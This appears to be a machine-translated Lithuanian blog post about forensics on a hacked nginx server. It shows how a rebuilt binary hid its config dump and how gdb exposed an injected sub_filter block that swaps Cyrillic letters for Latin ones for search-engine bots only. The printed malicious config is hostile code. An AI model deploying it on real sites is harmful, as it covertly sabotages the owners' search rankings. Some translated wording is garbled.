Kai „a“ nėra lygus „a“. Po įsilaužimo

Vienam mano draugui nutiko pati nemaloni istorija. Bet kaip nemalonu pasirodė Michailui, man tai buvo lygiai taip pat linksma.

Turiu pasakyti, kad mano draugas yra gana UNIX-vartotojas: gali pats įdiegti sistemą mySQL, PHP ir atlikite paprastus nustatymus nginx.
Ir jis turi keliolika ar pusantros svetainių, skirtų statybiniams įrankiams.

Viena iš šių grandininiams pjūklams skirtų svetainių tvirtai atsiduria paieškos sistemų TOP'e. Ši svetainė yra nekomercinė apžvalgininkė, bet kažkas įprato ją užpulti. Tai DDoS, tada grubią jėgą, tada jie rašo nepadorius komentarus ir siunčia piktnaudžiavimus prieglobai ir RKN.
Staiga viskas nurimo ir ši ramybė pasirodė nebloga, o svetainė pamažu ėmė palikti viršutines paieškos rezultatų eilutes.

Kai „a“ nėra lygus „a“. Po įsilaužimo

Tai buvo posakis, tada pati administratoriaus istorija.

Artėjo miego laikas, kai suskambo telefonas: „San, ar nepažiūrėsi į mano serverį? Man atrodo, kad buvau nulaužtas, negaliu to įrodyti, bet jausmas manęs neapleidžia jau trečią savaitę. Gal man tiesiog laikas gydytis nuo paranojos?

Po to vyko pusvalandžio trukmės diskusija, kurią galima apibendrinti taip:

  • dirva įsilaužimui buvo gana derlinga;
  • užpuolikas gali įgyti supervartotojo teises;
  • ataka (jei ji įvyko) buvo nukreipta būtent į šią svetainę;
  • probleminės sritys buvo ištaisytos ir tereikia suprasti, ar nebuvo prasiskverbimo;
  • įsilaužimas negalėjo paveikti svetainės kodo ir duomenų bazių.

Dėl paskutinio punkto.

Kai „a“ nėra lygus „a“. Po įsilaužimo

Į pasaulį žiūri tik baltas frontend IP. Nėra apsikeitimo tarp backends ir frontend, išskyrus http (-ius), vartotojai / slaptažodžiai skiriasi, raktai nebuvo pakeisti. Pilkuose adresuose visi prievadai, išskyrus 80/443, yra uždaryti. Baltuosius foninius IP žino tik du vartotojai, kuriais Michailas visiškai pasitiki.

Įdiegta priekinėje dalyje Debian 9 ir tuo metu, kai skambinama, sistema yra izoliuojama nuo pasaulio išorine užkarda ir sustabdoma.

„Gerai, duok man prieigą“, – nusprendžiu valandai atidėti miegą. „Pažiūrėsiu savo akimis“.

Čia ir toliau:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Ieškoma galimo įsilaužimo

Paleidžiu serverį pirmas gelbėjimo režimas. Sudedu diskus ir vartysiu juos Auth-rąstai, istorija, sistemos žurnalus ir t.t., esant galimybei, tikrinu failų sukūrimo datas, nors suprantu, kad normalus krekeris būtų „nušlavęs“ paskui save, o Miša jau daug ką „nuprynė“ kol ieškojo savęs .

Pradedu normaliu režimu, dar nelabai suprantu ko ieškoti, studijuoju konfigūracijas. Visų pirma, man įdomu nginx nes apskritai priekinėje dalyje nėra nieko kito, išskyrus jį.
Konfigūracijos yra mažos, gerai suskirstytos į keliolika failų, aš tik jas peržvelgiu katė'oi po vieną. Atrodo, kad viskas švaru, bet niekada negali žinoti, ar aš ką nors praleidau įtraukti, leiskite man sudaryti visą sąrašą:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Nesupratau: „Kur yra sąrašas?

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Prie sąrašo klausimo pridedamas antras klausimas: „Kodėl tokia senovinė nginx versija?

Be to, sistema mano, kad įdiegta naujausia versija:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Aš skambinu:
- Miša, kodėl susirinkai iš naujo nginx?
- Palauk, aš net nežinau, kaip tai padaryti!
- Gerai, eik miegoti...

nginx jis aiškiai perstatytas, o sąrašo išvestis naudojant „-T“ yra paslėpta dėl priežasties. Dėl įsilaužimo nebėra jokių abejonių ir galite tiesiog su tuo susitaikyti ir (kadangi Misha vis tiek pakeitė serverį nauju) laikyti problemą išspręsta.

Ir tikrai, nes kažkas gavo teises šaknis„Ai, tada tai daryti tik prasminga iš naujo įdiegti sistemą, ir buvo beprasmiška ieškoti, kas ten negerai, bet šį kartą smalsumas nugalėjo miegą. Kaip mes galime sužinoti, ką jie norėjo nuo mūsų nuslėpti?

Pabandykime atsekti:

$ strace nginx -T

Mes žiūrime į jį, aiškiai nėra pakankamai linijų pėdsake a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Kad būtų smagu, palyginkime išvadas.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Manau, dalis kodo /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

buvo pateikta forma:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

arba

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

todėl sąrašas "-T" nerodomas.

Bet kaip galime peržiūrėti savo konfigūraciją?

Jei mano mintis teisinga ir problema yra tik kintamajame ngx_dump_config pabandykime jį įdiegti naudodami gdb, laimei, yra raktas --su-cc-opt -g pateikti ir tikėtis, kad optimizavimas -O2 mums tai nepakenks. Tuo pačiu, nes nežinau kaip ngx_dump_config galėtų būti apdorotas „T“ atvejis:, mes nevadinsime šio bloko, bet įdiegsime jį naudodami atvejis 't':

Kodėl galite naudoti „-t“ ir „-T“Blokų apdorojimas if(ngx_dump_config) vyksta viduje if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Žinoma, jei kodas pakeistas šioje dalyje, o ne „T“ atvejis:, tada mano metodas neveiks.

Išbandykite nginx.confJau eksperimentiškai išsprendus problemą, buvo nustatyta, kad norint, kad kenkėjiška programa veiktų, reikalinga minimali konfigūracija nginx tipas:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Straipsnyje jį naudosime dėl trumpumo.

Paleiskite derintuvą

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Žingsniai:

  • nustatykite funkcijos lūžio tašką pagrindinis ()
  • paleisti programą
  • pakeisti kintamojo, kuris lemia konfigūracijos išvestį, reikšmę ngx_dump_config=1
  • tęsti / baigti programą

Kaip matome, tikroji konfigūracija skiriasi nuo mūsų, iš jos pasirenkame parazitinę dalį:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Pažvelkime eilės tvarka, kas čia vyksta.

Yra pasiryžę User-agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Paslaugų puslapiai neįtraukiami WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Ir tiems, kuriems taikomos abi aukščiau nurodytos sąlygos

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

tekste HTML- keičiasi puslapiai 'o' apie "o" и "A" apie „a“:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Teisingai, vienintelė subtilybė yra ta 'a' != 'a' taip pat kaip 'o'!= 'o':

Kai „a“ nėra lygus „a“. Po įsilaužimo

Taigi, paieškos sistemų robotai vietoj įprasto 100% kirilicos teksto gauna modifikuotas šiukšles, praskiestas lotynų kalba „a“ и "o". Nedrįstu diskutuoti, kaip tai paveikia SEO, bet vargu ar toks raidžių kratinys turės teigiamos įtakos pozicijoms paieškos rezultatuose.

Ką aš galiu pasakyti, vaikinai su vaizduote.

Nuorodos

Derinimas naudojant GDB
gdb(1) – Linux vadovo puslapis
strace(1) – Linux vadovo puslapis
Nginx – modulis ngx_http_sub_module
Apie pjūklus, grandininius ir elektrinius pjūklus

Šaltinis: www.habr.com

Добавить комментарий